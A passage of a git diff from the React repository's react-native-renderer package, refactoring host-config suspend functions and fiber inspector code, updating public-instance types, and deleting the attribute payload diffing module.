@@ -506,9 +749,7 @@ export function unhideTextInstance(
   throw new Error('Not yet implemented.');
 }
 
-export function getInstanceFromNode(node: any): empty {
-  throw new Error('Not yet implemented.');
-}
+export {getClosestInstanceFromNode as getInstanceFromNode};
 
 export function beforeActiveInstanceBlur(internalInstanceHandle: Object) {
   // noop
@@ -534,20 +775,71 @@ export function maySuspendCommit(type: Type, props: Props): boolean {
   return false;
 }
 
-export function preloadInstance(type: Type, props: Props): boolean {
+export function maySuspendCommitOnUpdate(
+  type: Type,
+  oldProps: Props,
+  newProps: Props,
+): boolean {
+  return false;
+}
+
+export function maySuspendCommitInSyncRender(
+  type: Type,
+  props: Props,
+): boolean {
+  return false;
+}
+
+export function preloadInstance(
+  instance: Instance,
+  type: Type,
+  props: Props,
+): boolean {
   // Return false to indicate it's already loaded
   return true;
 }
 
-export function startSuspendingCommit(): void {}
+export opaque type SuspendedState = null;
 
-export function suspendInstance(type: Type, props: Props): void {}
+export function startSuspendingCommit(): SuspendedState {
+  return null;
+}
+
+export function suspendInstance(
+  state: SuspendedState,
+  instance: Instance,
+  type: Type,
+  props: Props,
+): void {}
+
+export function suspendOnActiveViewTransition(
+  state: SuspendedState,
+  container: Container,
+): void {}
+
+export function waitForCommitToBeReady(
+  state: SuspendedState,
+  timeoutOffset: number,
+): null {
+  return null;
+}
 
-export function waitForCommitToBeReady(): null {
+export function getSuspendedCommitReason(
+  state: SuspendedState,
+  rootContainer: Container,
+): null | string {
   return null;
 }
 
 export const NotPendingTransition: TransitionStatus = null;
+export const HostTransitionContext: ReactContext<TransitionStatus> = {
+  $$typeof: REACT_CONTEXT_TYPE,
+  Provider: (null: any),
+  Consumer: (null: any),
+  _currentValue: NotPendingTransition,
+  _currentValue2: NotPendingTransition,
+  _threadCount: 0,
+};
 
 export type FormInstance = Instance;
 export function resetFormInstance(form: Instance): void {}
diff --git a/packages/react-native-renderer/src/ReactNativeAttributePayloadFabric.js b/packages/react-native-renderer/src/ReactNativeAttributePayloadFabric.js
deleted file mode 100644
index 817c01f18720..000000000000
--- a/packages/react-native-renderer/src/ReactNativeAttributePayloadFabric.js
+++ /dev/null
@@ -1,555 +0,0 @@
-/**
- * Copyright (c) Meta Platforms, Inc. and affiliates.
- *
- * This source code is licensed under the MIT license found in the
- * LICENSE file in the root directory of this source tree.
- *
- * @flow
- */
-
-// Modules provided by RN:
-import {
-  deepDiffer,
-  flattenStyle,
-} from 'react-native/Libraries/ReactPrivate/ReactNativePrivateInterface';
-import isArray from 'shared/isArray';
-
-import {
-  enableAddPropertiesFastPath,
-  enableShallowPropDiffing,
-} from 'shared/ReactFeatureFlags';
-
-import type {AttributeConfiguration} from './ReactNativeTypes';
-
-const emptyObject = {};
-
-/**
- * Create a payload that contains all the updates between two sets of props.
- *
- * These helpers are all encapsulated into a single module, because they use
- * mutation as a performance optimization which leads to subtle shared
- * dependencies between the code paths. To avoid this mutable state leaking
- * across modules, I've kept them isolated to this module.
- */
-
-type NestedNode = Array<NestedNode> | Object;
-
-// Tracks removed keys
-let removedKeys: {[string]: boolean} | null = null;
-let removedKeyCount = 0;
-
-const deepDifferOptions = {
-  unsafelyIgnoreFunctions: true,
-};
-
-function defaultDiffer(prevProp: mixed, nextProp: mixed): boolean {
-  if (typeof nextProp !== 'object' || nextProp === null) {
-    // Scalars have already been checked for equality
-    return true;
-  } else {
-    // For objects and arrays, the default diffing algorithm is a deep compare
-    return deepDiffer(prevProp, nextProp, deepDifferOptions);
-  }
-}
-
-function restoreDeletedValuesInNestedArray(
-  updatePayload: Object,
-  node: NestedNode,
-  validAttributes: AttributeConfiguration,
-) {
-  if (isArray(node)) {
-    let i = node.length;
-    while (i-- && removedKeyCount > 0) {
-      restoreDeletedValuesInNestedArray(
-        updatePayload,
-        node[i],
-        validAttributes,
-      );
-    }
-  } else if (node && removedKeyCount > 0) {
-    const obj = node;
-    for (const propKey in removedKeys) {
-      // $FlowFixMe[incompatible-use] found when upgrading Flow
-      if (!removedKeys[propKey]) {
-        continue;
-      }
-      let nextProp = obj[propKey];
-      if (nextProp === undefined) {
-        continue;
-      }
-
-      const attributeConfig = validAttributes[propKey];
-      if (!attributeConfig) {
-        continue; // not a valid native prop
-      }
-
-      if (typeof nextProp === 'function') {
-        // $FlowFixMe[incompatible-type] found when upgrading Flow
-        nextProp = true;
-      }
-      if (typeof nextProp === 'undefined') {
-        // $FlowFixMe[incompatible-type] found when upgrading Flow
-        nextProp = null;
-      }
-
-      if (typeof attributeConfig !== 'object') {
-        // case: !Object is the default case
-        updatePayload[propKey] = nextProp;
-      } else if (
-        typeof attributeConfig.diff === 'function' ||
-        typeof attributeConfig.process === 'function'
-      ) {
-        // case: CustomAttributeConfiguration
-        const nextValue =
-          typeof attributeConfig.process === 'function'
-            ? attributeConfig.process(nextProp)
-            : nextProp;
-        updatePayload[propKey] = nextValue;
-      }
-      // $FlowFixMe[incompatible-use] found when upgrading Flow
-      removedKeys[propKey] = false;
-      removedKeyCount--;
-    }
-  }
-}
-
-function diffNestedArrayProperty(
-  updatePayload: null | Object,
-  prevArray: Array<NestedNode>,
-  nextArray: Array<NestedNode>,
-  validAttributes: AttributeConfiguration,
-): null | Object {
-  const minLength =
-    prevArray.length < nextArray.length ? prevArray.length : nextArray.length;
-  let i;
-  for (i = 0; i < minLength; i++) {
-    // Diff any items in the array in the forward direction. Repeated keys
-    // will be overwritten by later values.
-    updatePayload = diffNestedProperty(
-      updatePayload,
-      prevArray[i],
-      nextArray[i],
-      validAttributes,
-    );
-  }
-  for (; i < prevArray.length; i++) {
-    // Clear out all remaining properties.
-    updatePayload = clearNestedProperty(
-      updatePayload,
-      prevArray[i],
-      validAttributes,
-    );
-  }
-  for (; i < nextArray.length; i++) {
-    // Add all remaining properties.
-    updatePayload = addNestedProperty(
-      updatePayload,
-      nextArray[i],
-      validAttributes,
-    );
-  }
-  return updatePayload;
-}
-
-function diffNestedProperty(
-  updatePayload: null | Object,
-  prevProp: NestedNode,
-  nextProp: NestedNode,
-  validAttributes: AttributeConfiguration,
-): null | Object {
-  if (!updatePayload && prevProp === nextProp) {
-    // If no properties have been added, then we can bail out quickly on object
-    // equality.
-    return updatePayload;
-  }
-
-  if (!prevProp || !nextProp) {
-    if (nextProp) {
-      return addNestedProperty(updatePayload, nextProp, validAttributes);
-    }
-    if (prevProp) {
-      return clearNestedProperty(updatePayload, prevProp, validAttributes);
-    }
-    return updatePayload;
-  }
-
-  if (!isArray(prevProp) && !isArray(nextProp)) {
-    // Both are leaves, we can diff the leaves.
-    return diffProperties(updatePayload, prevProp, nextProp, validAttributes);
-  }
-
-  if (isArray(prevProp) && isArray(nextProp)) {
-    // Both are arrays, we can diff the arrays.
-    return diffNestedArrayProperty(
-      updatePayload,
-      prevProp,
-      nextProp,
-      validAttributes,
-    );
-  }
-
-  if (isArray(prevProp)) {
-    return diffProperties(
-      updatePayload,
-      flattenStyle(prevProp),
-      nextProp,
-      validAttributes,
-    );
-  }
-
-  return diffProperties(
-    updatePayload,
-    prevProp,
-    flattenStyle(nextProp),
-    validAttributes,
-  );
-}
-
-/**
- * addNestedProperty takes a single set of props and valid attribute
- * attribute configurations. It processes each prop and adds it to the
- * updatePayload.
- */
-function addNestedProperty(
-  updatePayload: null | Object,
-  nextProp: NestedNode,
-  validAttributes: AttributeConfiguration,
-): $FlowFixMe {
-  if (!nextProp) {
-    return updatePayload;
-  }
-
-  if (!isArray(nextProp)) {
-    // Add each property of the leaf.
-    return addProperties(updatePayload, nextProp, validAttributes);
-  }
-
-  for (let i = 0; i < nextProp.length; i++) {
-    // Add all the properties of the array.
-    updatePayload = addNestedProperty(
-      updatePayload,
-      nextProp[i],
-      validAttributes,
-    );
-  }
-
-  return updatePayload;
-}
-
-/**
- * clearNestedProperty takes a single set of props and valid attributes. It
- * adds a null sentinel to the updatePayload, for each prop key.
- */
-function clearNestedProperty(
-  updatePayload: null | Object,
-  prevProp: NestedNode,
-  validAttributes: AttributeConfiguration,
-): null | Object {
-  if (!prevProp) {
-    return updatePayload;
-  }
-
-  if (!isArray(prevProp)) {
-    // Add each property of the leaf.
-    return clearProperties(updatePayload, prevProp, validAttributes);
-  }
-
-  for (let i = 0; i < prevProp.length; i++) {
-    // Add all the properties of the array.
-    updatePayload = clearNestedProperty(
-      updatePayload,
-      prevProp[i],
-      validAttributes,
-    );
-  }
-  return updatePayload;
-}
-
-/**
- * diffProperties takes two sets of props and a set of valid attributes
- * and write to updatePayload the values that changed or were deleted.
- * If no updatePayload is provided, a new one is created and returned if
- * anything changed.
- */
-function diffProperties(
-  updatePayload: null | Object,
-  prevProps: Object,
-  nextProps: Object,
-  validAttributes: AttributeConfiguration,
-): null | Object {
-  let attributeConfig;
-  let nextProp;
-  let prevProp;
-
-  for (const propKey in nextProps) {
-    attributeConfig = validAttributes[propKey];
-    if (!attributeConfig) {
-      continue; // not a valid native prop
-    }
-
-    prevProp = prevProps[propKey];
-    nextProp = nextProps[propKey];
-
-    // functions are converted to booleans as markers that the associated
-    // events should be sent from native.
-    if (typeof nextProp === 'function') {
-      nextProp = (true: any);
-      // If nextProp is not a function, then don't bother changing prevProp
-      // since nextProp will win and go into the updatePayload regardless.
-      if (typeof prevProp === 'function') {
-        prevProp = (true: any);
-      }
-    }
-
-    // An explicit value of undefined is treated as a null because it overrides
-    // any other preceding value.
-    if (typeof nextProp === 'undefined') {
-      nextProp = (null: any);
-      if (typeof prevProp === 'undefined') {
-        prevProp = (null: any);
-      }
-    }
-
-    if (removedKeys) {
-      removedKeys[propKey] = false;
-    }
-
-    if (updatePayload && updatePayload[propKey] !== undefined) {
-      // Something else already triggered an update to this key because another
-      // value diffed. Since we're now later in the nested arrays our value is
-      // more important so we need to calculate it and override the existing
-      // value. It doesn't matter if nothing changed, we'll set it anyway.
-
-      // Pattern match on: attributeConfig
-      if (typeof attributeConfig !== 'object') {
-        // case: !Object is the default case
-        updatePayload[propKey] = nextProp;
-      } else if (
-        typeof attributeConfig.diff === 'function' ||
-        typeof attributeConfig.process === 'function'
-      ) {
-        // case: CustomAttributeConfiguration
-        const nextValue =
-          typeof attributeConfig.process === 'function'
-            ? attributeConfig.process(nextProp)
-            : nextProp;
-        updatePayload[propKey] = nextValue;
-      }
-      continue;
-    }
-
-    if (prevProp === nextProp) {
-      continue; // nothing changed
-    }
-
-    // Pattern match on: attributeConfig
-    if (typeof attributeConfig !== 'object') {
-      // case: !Object is the default case
-      if (enableShallowPropDiffing || defaultDiffer(prevProp, nextProp)) {
-        // a normal leaf has changed
-        (updatePayload || (updatePayload = ({}: {[string]: $FlowFixMe})))[
-          propKey
-        ] = nextProp;
-      }
-    } else if (
-      typeof attributeConfig.diff === 'function' ||
-      typeof attributeConfig.process === 'function'
-    ) {
-      // case: CustomAttributeConfiguration
-      const shouldUpdate =
-        enableShallowPropDiffing ||
-        prevProp === undefined ||
-        (typeof attributeConfig.diff === 'function'
-          ? attributeConfig.diff(prevProp, nextProp)
-          : defaultDiffer(prevProp, nextProp));
-      if (shouldUpdate) {
-        const nextValue =
-          typeof attributeConfig.process === 'function'
-            ? // $FlowFixMe[incompatible-use] found when upgrading Flow
-              attributeConfig.process(nextProp)
-            : nextProp;
-        (updatePayload || (updatePayload = ({}: {[string]: $FlowFixMe})))[
-          propKey
-        ] = nextValue;
-      }
-    } else {
-      // default: fallthrough case when nested properties are defined
-      removedKeys = null;
-      removedKeyCount = 0;
-      // We think that attributeConfig is not CustomAttributeConfiguration at
-      // this point so we assume it must be AttributeConfiguration.
-      updatePayload = diffNestedProperty(
-        updatePayload,
-        prevProp,
-        nextProp,
-        ((attributeConfig: any): AttributeConfiguration),
-      );
-      if (removedKeyCount > 0 && updatePayload) {
-        restoreDeletedValuesInNestedArray(
-          updatePayload,
-          nextProp,
-          ((attributeConfig: any): AttributeConfiguration),
-        );
-        removedKeys = null;
-      }
-    }
-  }
-
-  // Also iterate through all the previous props to catch any that have been
-  // removed and make sure native gets the signal so it can reset them to the
-  // default.
-  for (const propKey in prevProps) {
-    if (nextProps[propKey] !== undefined) {
-      continue; // we've already covered this key in the previous pass
-    }
-    attributeConfig = validAttributes[propKey];
-    if (!attributeConfig) {
-      continue; // not a valid native prop
-    }
-
-    if (updatePayload && updatePayload[propKey] !== undefined) {
-      // This was already updated to a diff result earlier.
-      continue;
-    }
-
-    prevProp = prevProps[propKey];
-    if (prevProp === undefined) {
-      continue; // was already empty anyway
-    }
-    // Pattern match on: attributeConfig
-    if (
-      typeof attributeConfig !== 'object' ||
-      typeof attributeConfig.diff === 'function' ||
-      typeof attributeConfig.process === 'function'
-    ) {
-      // case: CustomAttributeConfiguration | !Object
-      // Flag the leaf property for removal by sending a sentinel.
-      (updatePayload || (updatePayload = ({}: {[string]: $FlowFixMe})))[
-        propKey
-      ] = null;
-      if (!removedKeys) {
-        removedKeys = ({}: {[string]: boolean});
-      }
-      if (!removedKeys[propKey]) {
-        removedKeys[propKey] = true;
-        removedKeyCount++;
-      }
-    } else {
-      // default:
-      // This is a nested attribute configuration where all the properties
-      // were removed so we need to go through and clear out all of them.
-      updatePayload = clearNestedProperty(
-        updatePayload,
-        prevProp,
-        ((attributeConfig: any): AttributeConfiguration),
-      );
-    }
-  }
-  return updatePayload;
-}
-
-function fastAddProperties(
-  payload: null | Object,
-  props: Object,
-  validAttributes: AttributeConfiguration,
-): null | Object {
-  // Flatten nested style props.
-  if (isArray(props)) {
-    for (let i = 0; i < props.length; i++) {
-      payload = fastAddProperties(payload, props[i], validAttributes);
-    }
-    return payload;
-  }
-
-  for (const propKey in props) {
-    const prop = props[propKey];
-
-    if (prop === undefined) {
-      continue;
-    }
-
-    const attributeConfig = ((validAttributes[
-      propKey
-    ]: any): AttributeConfiguration);
-
-    if (attributeConfig == null) {
-      continue;
-    }
-
-    let newValue;
-
-    if (typeof prop === 'function') {
-      // A function prop. It represents an event handler. Pass it to native as 'true'.
-      newValue = true;
-    } else if (typeof attributeConfig !== 'object') {
-      // An atomic prop. Doesn't need to be flattened.
-      newValue = prop;
-    } else if (typeof attributeConfig.process === 'function') {
-      // An atomic prop with custom processing.
-      newValue = attributeConfig.process(prop);
-    } else if (typeof attributeConfig.diff === 'function') {
-      // An atomic prop with custom diffing. We don't need to do diffing when adding props.
-      newValue = prop;
-    }
-
-    if (newValue !== undefined) {
-      if (!payload) {
-        payload = ({}: {[string]: $FlowFixMe});
-      }
-      payload[propKey] = newValue;
-      continue;
-    }
-
-    payload = fastAddProperties(payload, prop, attributeConfig);
-  }
-
-  return payload;
-}
-
-/**
- * addProperties adds all the valid props to the payload after being processed.
- */
-function addProperties(
-  updatePayload: null | Object,
-  props: Object,
-  validAttributes: AttributeConfiguration,
-): null | Object {
-  return diffProperties(updatePayload, emptyObject, props, validAttributes);
-}
-
-/**
- * clearProperties clears all the previous props by adding a null sentinel
- * to the payload for each valid key.
- */
-function clearProperties(
-  updatePayload: null | Object,
-  prevProps: Object,
-  validAttributes: AttributeConfiguration,
-): null | Object {
-  // TODO: Fast path
-  return diffProperties(updatePayload, prevProps, emptyObject, validAttributes);
-}
-
-export function create(
-  props: Object,
-  validAttributes: AttributeConfiguration,
-): null | Object {
-  if (enableAddPropertiesFastPath) {
-    return fastAddProperties(null, props, validAttributes);
-  } else {
-    return addProperties(null, props, validAttributes);
-  }
-}
-
-export function diff(
-  prevProps: Object,
-  nextProps: Object,
-  validAttributes: AttributeConfiguration,
-): null | Object {
-  return diffProperties(
-    null, // updatePayload
-    prevProps,
-    nextProps,
-    validAttributes,
-  );
-}
diff --git a/packages/react-native-renderer/src/ReactNativeBridgeEventPlugin.js b/packages/react-native-renderer/src/ReactNativeBridgeEventPlugin.js
index 97c5cf05b196..b22927d2cb28 100644
--- a/packages/react-native-renderer/src/ReactNativeBridgeEventPlugin.js
+++ b/packages/react-native-renderer/src/ReactNativeBridgeEventPlugin.js
@@ -10,6 +10,7 @@
 import type {
   AnyNativeEvent,
   EventTypes,
+  LegacyPluginModule,
 } from './legacy-events/PluginModuleType';
 import type {TopLevelType} from './legacy-events/TopLevelEventTypes';
 import SyntheticEvent from './legacy-events/SyntheticEvent';
@@ -165,7 +166,7 @@ function accumulateDirectDispatches(events: ?(Array<Object> | Object)) {
 // End of inline
 type PropagationPhases = 'bubbled' | 'captured';
 
-const ReactNativeBridgeEventPlugin = {
+const ReactNativeBridgeEventPlugin: LegacyPluginModule<AnyNativeEvent> = {
   eventTypes: ({}: EventTypes),
 
   extractEvents: function (
diff --git a/packages/react-native-renderer/src/ReactNativeFiberHostComponent.js b/packages/react-native-renderer/src/ReactNativeFiberHostComponent.js
index 80151468dd24..7a253304fff0 100644
--- a/packages/react-native-renderer/src/ReactNativeFiberHostComponent.js
+++ b/packages/react-native-renderer/src/ReactNativeFiberHostComponent.js
@@ -7,15 +7,13 @@
  * @flow
  */
 
-import type {ElementRef} from 'react';
+import type {ViewConfig} from './ReactNativeTypes';
 import type {
-  HostComponent,
+  LegacyPublicInstance,
+  MeasureOnSuccessCallback,
   MeasureInWindowOnSuccessCallback,
   MeasureLayoutOnSuccessCallback,
-  MeasureOnSuccessCallback,
-  INativeMethods,
-  ViewConfig,
-} from './ReactNativeTypes';
+} from 'react-native/Libraries/ReactPrivate/ReactNativePrivateInterface';
 import type {Instance} from './ReactFiberConfigNative';
 
 // Modules provided by RN:
@@ -30,7 +28,7 @@ import {
   warnForStyleProps,
 } from './NativeMethodsMixinUtils';
 
-class ReactNativeFiberHostComponent implements INativeMethods {
+class ReactNativeFiberHostComponent implements LegacyPublicInstance {
   _children: Array<Instance | number>;
   _nativeTag: number;
   _internalFiberInstanceHandleDEV: Object;
@@ -72,7 +70,7 @@ class ReactNativeFiberHostComponent implements INativeMethods {
   }
 
   measureLayout(
-    relativeToNativeNode: number | ElementRef<HostComponent<mixed>>,
+    relativeToNativeNode: number | LegacyPublicInstance,
     onSuccess: MeasureLayoutOnSuccessCallback,
     onFail?: () => void /* currently unused */,
   ) {
diff --git a/packages/react-native-renderer/src/ReactNativeFiberInspector.js b/packages/react-native-renderer/src/ReactNativeFiberInspector.js
index 14d87f7a5502..e8be83f9a9f4 100644
--- a/packages/react-native-renderer/src/ReactNativeFiberInspector.js
+++ b/packages/react-native-renderer/src/ReactNativeFiberInspector.js
@@ -21,48 +21,47 @@ import {
   UIManager,
   getNodeFromPublicInstance,
 } from 'react-native/Libraries/ReactPrivate/ReactNativePrivateInterface';
-import {enableGetInspectorDataForInstanceInProduction} from 'shared/ReactFeatureFlags';
 import {getClosestInstanceFromNode} from './ReactNativeComponentTree';
-import {getNodeFromInternalInstanceHandle} from './ReactNativePublicCompat';
+import {
+  getNodeFromInternalInstanceHandle,
+  findNodeHandle,
+} from './ReactNativePublicCompat';
 import {getStackByFiberInDevAndProd} from 'react-reconciler/src/ReactFiberComponentStack';
 
-const emptyObject = {};
+let getInspectorDataForInstance: (
+  closestInstance: Fiber | null,
+) => InspectorData;
+
 if (__DEV__) {
-  Object.freeze(emptyObject);
-}
+  const emptyObject = Object.freeze({});
 
-// $FlowFixMe[missing-local-annot]
-function createHierarchy(fiberHierarchy) {
-  return fiberHierarchy.map(fiber => ({
-    name: getComponentNameFromType(fiber.type),
-    getInspectorData: findNodeHandle => {
-      return {
-        props: getHostProps(fiber),
-        measure: callback => {
-          // If this is Fabric, we'll find a shadow node and use that to measure.
-          const hostFiber = findCurrentHostFiber(fiber);
-          const node =
-            hostFiber != null &&
-            hostFiber.stateNode !== null &&
-            hostFiber.stateNode.node;
+  // $FlowFixMe[missing-local-annot]
+  const createHierarchy = function (fiberHierarchy) {
+    return fiberHierarchy.map(fiber => ({
+      name: getComponentNameFromType(fiber.type),
+      getInspectorData: () => {
+        return {
+          props: getHostProps(fiber),
+          measure: callback => {
+            // If this is Fabric, we'll find a shadow node and use that to measure.
+            const hostFiber = findCurrentHostFiber(fiber);
+            const node =
+              hostFiber != null &&
+              hostFiber.stateNode !== null &&
+              hostFiber.stateNode.node;
 
-          if (node) {
-            nativeFabricUIManager.measure(node, callback);
-          } else {
-            return UIManager.measure(
-              getHostNode(fiber, findNodeHandle),
-              callback,
-            );
-          }
-        },
-      };
-    },
-  }));
-}
+            if (node) {
+              nativeFabricUIManager.measure(node, callback);
+            } else {
+              return UIManager.measure(getHostNode(fiber), callback);
+            }
+          },
+        };
+      },
+    }));
+  };
 
-// $FlowFixMe[missing-local-annot]
-function getHostNode(fiber: Fiber | null, findNodeHandle) {
-  if (__DEV__ || enableGetInspectorDataForInstanceInProduction) {
+  const getHostNode = function (fiber: Fiber | null) {
     let hostNode;
     // look for children first for the hostNode
     // as composite fibers do not have a hostNode
@@ -76,22 +75,19 @@ function getHostNode(fiber: Fiber | null, findNodeHandle) {
       fiber = fiber.child;
     }
     return null;
-  }
-}
+  };
 
-// $FlowFixMe[missing-local-annot]
-function getHostProps(fiber) {
-  const host = findCurrentHostFiber(fiber);
-  if (host) {
-    return host.memoizedProps || emptyObject;
-  }
-  return emptyObject;
-}
+  const getHostProps = function (fiber: Fiber) {
+    const host = findCurrentHostFiber(fiber);
+    if (host) {
+      return host.memoizedProps || emptyObject;
+    }
+    return emptyObject;
+  };
 
-function getInspectorDataForInstance(
-  closestInstance: Fiber | null,
-): InspectorData {
-  if (__DEV__ || enableGetInspectorDataForInstanceInProduction) {
+  getInspectorDataForInstance = function (
+    closestInstance: Fiber | null,
+  ): InspectorData {
     // Handle case where user clicks outside of ReactNative
     if (!closestInstance) {
       return {
@@ -126,36 +122,30 @@ function getInspectorDataForInstance(
       selectedIndex,
       componentStack,
     };
-  }
+  };
 
-  throw new Error(
-    'getInspectorDataForInstance() is not available in production',
-  );
-}
-
-function getOwnerHierarchy(instance: Fiber) {
-  const hierarchy: Array<$FlowFixMe> = [];
-  traverseOwnerTreeUp(hierarchy, instance);
-  return hierarchy;
-}
+  const getOwnerHierarchy = function (instance: Fiber) {
+    const hierarchy: Array<$FlowFixMe> = [];
+    traverseOwnerTreeUp(hierarchy, instance);
+    return hierarchy;
+  };
 
-// $FlowFixMe[missing-local-annot]
-function lastNonHostInstance(hierarchy) {
-  for (let i = hierarchy.length - 1; i > 1; i--) {
-    const instance = hierarchy[i];
+  // $FlowFixMe[missing-local-annot]
+  const lastNonHostInstance = function (hierarchy) {
+    for (let i = hierarchy.length - 1; i > 1; i--) {
+      const instance = hierarchy[i];
 
-    if (instance.tag !== HostComponent) {
-      return instance;
+      if (instance.tag !== HostComponent) {
+        return instance;
+      }
     }
-  }
-  return hierarchy[0];
-}
+    return hierarchy[0];
+  };
 
-function traverseOwnerTreeUp(
-  hierarchy: Array<$FlowFixMe>,
-  instance: Fiber,
-): void {
-  if (__DEV__ || enableGetInspectorDataForInstanceInProduction) {
+  const traverseOwnerTreeUp = function (
+    hierarchy: Array<$FlowFixMe>,
+    instance: Fiber,
+  ): void {
     hierarchy.unshift(instance);
     const owner = instance._debugOwner;
     if (owner != null && typeof owner.tag === 'number') {
@@ -163,13 +153,12 @@ function traverseOwnerTreeUp(
     } else {
       // TODO: Traverse Server Components owners.
     }
-  }
+  };
 }
 
 function getInspectorDataForViewTag(viewTag: number): InspectorData {
   if (__DEV__) {
     const closestInstance = getClosestInstanceFromNode(viewTag);
-
     return getInspectorDataForInstance(closestInstance);
   } else {
     throw new Error(
@@ -179,7 +168,6 @@ function getInspectorDataForViewTag(viewTag: number): InspectorData {
 }
 
 function getInspectorDataForViewAtPoint(
-  findNodeHandle: (componentOrHandle: any) => ?number,
   inspectedView: Object,
   locationX: number,
   locationY: number,
@@ -211,6 +199,8 @@ function getInspectorDataForViewAtPoint(
 
           closestInstance =
             internalInstanceHandle.stateNode.canonical.internalInstanceHandle;
+          const closestPublicInstance =
+            internalInstanceHandle.stateNode.canonical.publicInstance;
 
           // Note: this is deprecated and we want to remove it ASAP. Keeping it here for React DevTools compatibility for now.
           const nativeViewTag =
@@ -226,6 +216,7 @@ function getInspectorDataForViewAtPoint(
                 pointerY: locationY,
                 frame: {left: pageX, top: pageY, width, height},
                 touchedViewTag: nativeViewTag,
+                closestPublicInstance,
               });
             },
           );
@@ -245,6 +236,8 @@ function getInspectorDataForViewAtPoint(
             pointerY: locationY,
             frame: {left, top, width, height},
             touchedViewTag: nativeViewTag,
+            // $FlowExpectedError[incompatible-call]
+            closestPublicInstance: nativeViewTag,
           });
         },
       );
diff --git a/packages/react-native-renderer/src/ReactNativePublicCompat.js b/packages/react-native-renderer/src/ReactNativePublicCompat.js
index c50b881c150c..e0193ddc37e0 100644
--- a/packages/react-native-renderer/src/ReactNativePublicCompat.js
+++ b/packages/react-native-renderer/src/ReactNativePublicCompat.js
@@ -7,8 +7,9 @@
  * @flow
  */
 
-import type {Node, HostComponent} from './ReactNativeTypes';
+import type {Node} from './ReactNativeTypes';
 import type {ElementRef, ElementType} from 'react';
+import type {PublicInstance} from 'react-native/Libraries/ReactPrivate/ReactNativePrivateInterface';
 
 // Modules provided by RN:
 import {
@@ -32,7 +33,7 @@ import {
 
 export function findHostInstance_DEPRECATED<TElementType: ElementType>(
   componentOrHandle: ?(ElementRef<TElementType> | number),
-): ?ElementRef<HostComponent<mixed>> {
+): ?PublicInstance {
   if (__DEV__) {
     const owner = currentOwner;
     if (owner !== null && isRendering && owner.stateNode !== null) {
@@ -222,15 +223,10 @@ export function getNodeFromInternalInstanceHandle(
   );
 }
 
-// Should have been PublicInstance from ReactFiberConfigFabric
-type FabricPublicInstance = mixed;
-// Should have been PublicInstance from ReactFiberConfigNative
-type PaperPublicInstance = HostComponent<mixed>;
-
 // Remove this once Paper is no longer supported and DOM Node API are enabled by default in RN.
 export function isChildPublicInstance(
-  parentInstance: FabricPublicInstance | PaperPublicInstance,
-  childInstance: FabricPublicInstance | PaperPublicInstance,
+  parentInstance: PublicInstance,
+  childInstance: PublicInstance,
 ): boolean {
   if (__DEV__) {
     // Paper
diff --git a/packages/react-native-renderer/src/ReactNativeRenderer.js b/packages/react-native-renderer/src/ReactNativeRenderer.js
index 5c2957aed16e..c7f7a11dcc57 100644
--- a/packages/react-native-renderer/src/ReactNativeRenderer.js
+++ b/packages/react-native-renderer/src/ReactNativeRenderer.js
@@ -8,9 +8,10 @@
  */
 
 import type {ReactPortal, ReactNodeList} from 'shared/ReactTypes';
-import type {ElementRef, Element, ElementType} from 'react';
+import type {ElementRef, ElementType, MixedElement} from 'react';
 import type {FiberRoot} from 'react-reconciler/src/ReactInternalTypes';
 import type {RenderRootOptions} from './ReactNativeTypes';
+import type {Container} from 'react-reconciler/src/ReactFiberConfig';
 
 import './ReactNativeInjection';
 
@@ -26,22 +27,14 @@ import {
   defaultOnRecoverableError,
 } from 'react-reconciler/src/ReactFiberReconciler';
 // TODO: direct imports like some-package/src/* are bad. Fix me.
-import {getStackByFiberInDevAndProd} from 'react-reconciler/src/ReactFiberComponentStack';
 import {createPortal as createPortalImpl} from 'react-reconciler/src/ReactPortal';
 import {
   setBatchingImplementation,
   batchedUpdates,
 } from './legacy-events/ReactGenericBatching';
-import ReactVersion from 'shared/ReactVersion';
 // Modules provided by RN:
 import {UIManager} from 'react-native/Libraries/ReactPrivate/ReactNativePrivateInterface';
 
-import {getClosestInstanceFromNode} from './ReactNativeComponentTree';
-import {
-  getInspectorDataForViewTag,
-  getInspectorDataForViewAtPoint,
-  getInspectorDataForInstance,
-} from './ReactNativeFiberInspector';
 import {LegacyRoot} from 'react-reconciler/src/ReactRootTags';
 import {
   findHostInstance_DEPRECATED,
@@ -100,7 +93,7 @@ function nativeOnCaughtError(
   error: mixed,
   errorInfo: {
     +componentStack?: ?string,
-    +errorBoundary?: ?React$Component<any, any>,
+    +errorBoundary?: ?component(...props: any),
   },
 ): void {
   const errorBoundary = errorInfo.errorBoundary;
@@ -120,9 +113,12 @@ function nativeOnCaughtError(
 
   defaultOnCaughtError(error, errorInfo);
 }
+function nativeOnDefaultTransitionIndicator(): void | (() => void) {
+  // Native doesn't have a default indicator.
+}
 
 function render(
-  element: Element<ElementType>,
+  element: MixedElement,
   containerTag: number,
   callback: ?() => void,
   options: ?RenderRootOptions,
@@ -151,10 +147,16 @@ function render(
       onRecoverableError = options.onRecoverableError;
     }
 
+    const rootInstance: Container = {
+      containerTag,
+      // $FlowExpectedError[incompatible-type] the legacy renderer does not use public root instances
+      publicInstance: null,
+    };
+
     // TODO (bvaughn): If we decide to keep the wrapper component,
     // We could create a wrapper for containerTag as well to reduce special casing.
     root = createContainer(
-      containerTag,
+      rootInstance,
       LegacyRoot,
       null,
       false,
@@ -163,6 +165,7 @@ function render(
       onUncaughtError,
       onCaughtError,
       onRecoverableError,
+      nativeOnDefaultTransitionIndicator,
       null,
     );
     roots.set(containerTag, root);
@@ -199,20 +202,8 @@ function createPortal(
 
 setBatchingImplementation(batchedUpdatesImpl, discreteUpdates);
 
-function computeComponentStackForErrorReporting(reactTag: number): string {
-  const fiber = getClosestInstanceFromNode(reactTag);
-  if (!fiber) {
-    return '';
-  }
-  return getStackByFiberInDevAndProd(fiber);
-}
-
 const roots = new Map<number, FiberRoot>();
 
-const Internals = {
-  computeComponentStackForErrorReporting,
-};
-
 export {
   // This is needed for implementation details of TouchableNativeFeedback
   // Remove this once TouchableNativeFeedback doesn't use cloneElement
@@ -225,25 +216,8 @@ export {
   unmountComponentAtNodeAndRemoveContainer,
   createPortal,
   batchedUpdates as unstable_batchedUpdates,
-  Internals as __SECRET_INTERNALS_DO_NOT_USE_OR_YOU_WILL_BE_FIRED,
-  // This export is typically undefined in production builds.
-  // See the "enableGetInspectorDataForInstanceInProduction" flag.
-  getInspectorDataForInstance,
   // DEV-only:
   isChildPublicInstance,
 };
 
-injectIntoDevTools({
-  findFiberByHostInstance: getClosestInstanceFromNode,
-  bundleType: __DEV__ ? 1 : 0,
